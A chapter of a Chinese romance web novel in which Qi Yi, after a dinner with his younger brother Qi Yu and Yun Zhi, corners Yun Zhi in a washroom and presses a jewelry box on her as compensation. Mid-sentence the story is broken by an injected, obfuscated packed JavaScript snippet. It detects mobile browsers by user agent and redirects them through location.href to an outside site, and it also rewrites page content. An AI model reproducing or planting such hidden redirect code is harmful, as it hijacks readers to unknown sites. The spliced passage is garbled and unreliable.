“这种场合你肯定没时间去,小枳这次要上台表演,你把第一排的位置给我呗?” 秦霄和许琉音有事在外面,包厢里只剩祁屿的说话声。 云枳想让他闭嘴换个话题,结果下一秒他伸手揉向她的脑袋继续道:“小枳为了角色特意染了头发,《堂吉诃德》哥你看过没,她演的就是里面一个牧羊女,名字叫……” “我耳朵不聋,能听到,也不瞎,可以自己看。” 祁屹放下茶盏,面无表情打断他,“另外——” “谁告诉你我没时间?” 10. 斡旋 “……” 祁屿幽幽道:“你最近不是忙着集团的事分身乏术么,一个汇报演出,你时间那么宝贵,真发邀请,我代你去呗。” “你代我?” 祁屹语调和咬字都漫不经心的,“八窍通了七窍,你代我能做什么?” 云枳正低头喝水,没忍住呛了一口,她很快撇过脸,反撑着手背挡住半边唇角。 包厢暖气很足,她脱掉了外套,剩一件贴身的薄羊绒毛衣,红发白衣,薄肩细腰,露出的侧脸和一截脖颈很细微地在抖动。 祁屹的视线从她脸上一扫而过,眸中的冷锐像阵穿堂而过的风,“想笑就笑,憋给谁看。” 云枳唇边的弧度瞬间凝固。 “……什么意思?”祁屿皱起眉头,能猜到刚才他哥刚才说的不是什么好话,眼神里透着被蒙在鼓里的清澈,“你俩在这打什么哑谜呢?” 门又被推开,这次是端着醒酒器的服务员。 酒是祁屹点的,一支红头蜡封的leroy用来佐餐。 趁着服务员的出现分散了包厢里的注意力,云枳抵唇,微微靠近祁屿,低声道:“他是在说你,一窍不通。” “……” “过分了吧哥,一个观看席位而已,不给就算了,怎么还上升人身攻击啊……” 祁屹嗤一声没说话,嘲弄的意味很明显。 等服务员醒好酒,许琉音和秦霄一前一后进了包厢。 前者蹦蹦跳跳似乎心情很好,后者步伐平稳,手里还抱着一只和他气质完全相悖的毛绒兔。 看见祁屹,许琉音立马收起嬉笑,板板正正唤了一声“大哥哥”。 “好久不见。” 许琉音在圆桌旁坐下来,跑动引起的略急促的呼吸还没完全平稳,就迫不及待地问:“大哥哥,我的新剧马上就要首演了,我听Daddy说祁山最近和海大有合作,学校应该会给你发邀请,到时候你会来吗?” 秦霄就坐在她身边,先是在另外一张板凳上安放好那只粉色的毛绒兔,随即两指轻压转盘,将茶水换到面前,抬手倒了一杯递给许琉音,示意她慢慢说不用着急。 祁屹:“如果行程没有另外安排,我会尽量赶过去。” 云枳不动声色地抬眸看他一眼,惊觉原来这人也有这么善解人意的时候。 “啊……”许琉音嘟囔一声,略微有些失落。 在她的印象里,大哥哥永远都很忙碌,总是神龙见首不见尾的,出国之后就更没机会看见他的人影。 对比其他更重要的行程,一个汇报演出确实还不值得他亲自出马。 祁屿见缝插针道:“别伤心,大哥没时间,他的位置给我就成。” “我才不要。”许琉音丧着脸,“小屿哥哥你的品味太差劲了,根本欣赏不来我的剧本,第一排的位置给你就是浪费。” “谁要欣赏你的剧本,我是为了……” 后半句还没说出口,祁屿就被一道带着警告的眼风瞥过。 他耸耸肩,悻然闭嘴。 祁屹没多解释,抬了抬酒杯,“不管怎样,提前祝你演出一切顺利。” …… 晚饭一直吃到八点才结束。 醉蟹,肉汁笋,黑醋里脊,话梅小排,葱香白水鱼,黑松露焖口菇……一套定制菜最后由彼得兔茶盘装盘的甜品收尾。 云枳食量不大,拢共没动几筷子,一直都是祁屿在帮她夹菜,还叮嘱她太瘦了要多吃点。 每当这种时候,她总觉得有一束强烈的视线落在她身上。 一顿饭吃得不至于如坐针毡,但到底谈不上放松。 和来时一样,秦霄送许琉音回家,祁屿喝了酒,叫了代驾要送云枳回公寓。 云枳想拒绝,“都这个点了,你送完我再回去得到什么时候了。” “你早点回去休息,我自己打个车就行。” “真觉得太晚了,那你就收留我一下呗。”祁屿边往外走边往她肩上凑,语气混不吝的,“我还没住过三十平的房子呢,让我体验体验。” “……” “怎么?不愿意啊?” 祁屿眯起眼,附在她耳边,语调里的懒散劲很足,“上次我哥还问我有没有和别人同居,我说我不是那种朝三暮四的人,和你感情好着呢,要不要考虑帮我坐实一下这话的可信度?” 云枳没理会他的科插打诨,敏锐地捕捉到关键信息。 她问:“他什么时候问的你有没有和别人同居?” 祁屿略微思忖,“好像是上个礼拜的事吧,怎么了?” 上个礼拜,应该就是她搬家的那天。 祁屹当时也问了她,是不是一个人住。 原来是担心她和祁屿同居。 云枳荒谬得笑出一声,用后槽牙轻轻咬碎嘴里清口的硬糖。 浓郁的薄荷味窜上她的舌尖,半晌,她意味不明道:“你哥估计担心我占完你的便宜,把你吃干抹净,以后你就拿不出手了。” “不会吧?那你打算什么时候真的把我吃干抹净啊?” 祁屿手机震动了好几次,这会顾着回消息,嘴上应得很敷衍,也没仔细听出来她话里的揶揄,“对了,我重新去寺里给你求了个手绳,一会下车你记得拿上,别忘记了。” 云枳愣了下,“什么时候的事?” “就前几天。”祁屿稍显不自在地抬手摸了摸脖子,“看你手上光秃秃的,我心里总觉得不太自在。不是都说,红绳断是不好的征兆……” 云枳默然:“没看出来,你还挺迷信。” “……我这是为了谁,没良心的东西。” 祁屿坚持要送她回公寓,云枳执拗不过只能答应。 等代驾来的间隙,她去了一趟洗手间。 方才她也沾了点酒,但酒量一般,加上的空气不太流通,从包厢出来后,大脑一直昏昏沉沉的,胃也有点不太舒服。 打开水龙头想用冷水洗把脸,等她抬头拂开眼前的水,镜子里突然出现另外一张脸。 她怔了怔,短暂和这双黑沉平静的眼对视。 “祁先生还没走吗?” 男人就站在距离她一格的位置,暖黄的顶灯下,水流从他青筋虬结的手背淌过,身上冷调的木质香混合清淡的酒精气息鲜明地侵入这片空间。 他关掉水龙头,慢条斯理地抽出几张纸擦手,“怎么,你找我有事?” “……没事,我以为您已经离开了。” 说罢,她重新低下头,准备再洗把脸磨蹭时间,避开要和他同行的可能。 谁知半天过去了,身后半点动静都没有。 难道已经走了? 云枳试探地转过头,却见男人单手插兜站在不远处,半垂着眸挽着袖口,视线一瞬不瞬落在她身上。 他并未刻意冷肃,但不说话时,黑眸带来的威压太令人心惊,那种天生的压迫感是从骨子里渗出来的。 云枳身体不稳地往后退了两步,反手撑住洗手池边沿,几乎是下意识开口,“你怎么还在这?” 连称谓都变了,看样子是吓到不轻。 祁屹眉心的不悦一闪而过,“吓成这样,在你眼里,我是什么洪水猛兽么?” 她轻呼一口气,等缓过神,冷静地牵出笑:“怎么会,您怎么会这么想?” “你这么躲避不及,会让我造成这样的误会。” 云枳赶忙摆手,“没有,我怎么会把您当洪水猛兽……” 是碰到就变衰的瘟神。 祁屹:“那我是不是还要谢谢你。” “……” 云枳站直身体,恢复了镇定,“祁先生是找我有事?” 原本以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900888|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为今晚能幸运躲过和这尊瘟神单独照面,少听一点刻薄的冷嘲热讽,没想到该来的还是来了。 是要训斥她不该出现在有许琉音的场合,还是要损她一个门外汉参演话剧不自量力? 长痛不如短痛,她垂下脸,洗耳恭听。 见她一副视死如归的模样,祁屹眸色一沉,指腹划过口袋里丝绒盒,那股困扰他许久的烦躁感再次从心脏泵向血管。 弄断了她的手绳,这条链子不过是个赔偿。 自讨烦恼让Simon把东西送到公寓就罢了,既然选择亲手处理,理智的做法应该是抓紧交出去。 但很显然,他在犹豫,在摇摆不定。 他甚至搞不清楚为什么。 他究竟有多久没有过这样的情绪了? “祁先生?” 祁屹撩起眼,从他的角度看过去,面前的人额角和发丝上还挂着水珠,脸颊薄薄的一层绯红十分醒目。 他从口袋里掏出方盒,语气平静又强势:“拿着。” 云枳下意识接过。 深蓝色丝绒盒质感复古又高级,不用打开都知道里面装的东西一定价值不菲。 她想也没想,直接把东西递回去。 “祁先生,这个我不能收。” “……” 祁屹蹙眉,语气沉下来,“我还没说这是什么。” “无论是什么,我都不能收。” 云枳淡淡一笑,声音很轻,有种温顺的冷静,“我没有收您东西的道理。” 这显然是个首饰盒,送她首饰,除了是为了赔偿她的手绳,不会有别的理由。 上次明确表示自己不需要赔偿,她有些不明白他现在这个举动是什么意思。 不过这个男人对她有偏见,一向不喜她,从来都心思难测。 说不准又是什么考验呢?谁知道。 所以她也懒得再和他斡旋,就像他曾经告诫她的,相安无事就好。 云枳想了想,主动解释一句:“那条手绳本来就很多年头了,断了不是您的错,您真的不必挂在心上。” 男人肩宽腿长,头顶的灯光被挡住,让人难以看清他的表情。 见他不语,云枳很干脆道:“阿屿还在等我,祁先生没别的事的话,我就先走了。” 说完,她径直转身。 一连走出好几步,身后的人都没有要叫住她的意思,她无声地松了口气。 很细微的动作,但祁屹看得一清二楚。 她的滴水不漏,她的谨小慎微。 祁屹凝眸注视着她,目光深沉,良久,兀地冷笑了声。 “云小姐。” 四下寂静,男人的声音低沉却压着威严,云枳没法装听不见,只能停下脚步转身。 祁屹长腿阔步走上前,今晚第一次正式地直视她的眼睛。 “一个赔偿而已,对我而言,不是什么负担不起的玩意。” 他的眼神锁向她,晦暗的眸色如有实质,云枳被迫抬起头和他对视。 “还是说,你以为拒绝了这份赔偿,就能向我证明些什么?证明你从来都不是唯利是图,是我误会你?”他微微一哂,唇角的嘲讽清晰无比,“少异想天开了。” 云枳绷着唇,蓦地攥紧了手。 紧了松,松了又紧,就像她脑子里最后那根名为理智的弦。 她咽下情绪,睫羽微垂,问:“祁先生究竟什么意思?” “没什么意思。” 光线勾勒出他紧绷的面部轮廓,却遮不住眼底蒙上的阴鸷,“东西我交出去,不是要把选择权拱手给你,你并没有拒绝的余地,我也没时间陪你玩兵不厌诈的小把戏。” 说完,祁屹向前逼近了一步,重新把东西递到她面前,似乎觉得眼前的一切都很无趣,“现在,东西可以收下了么,云小姐?”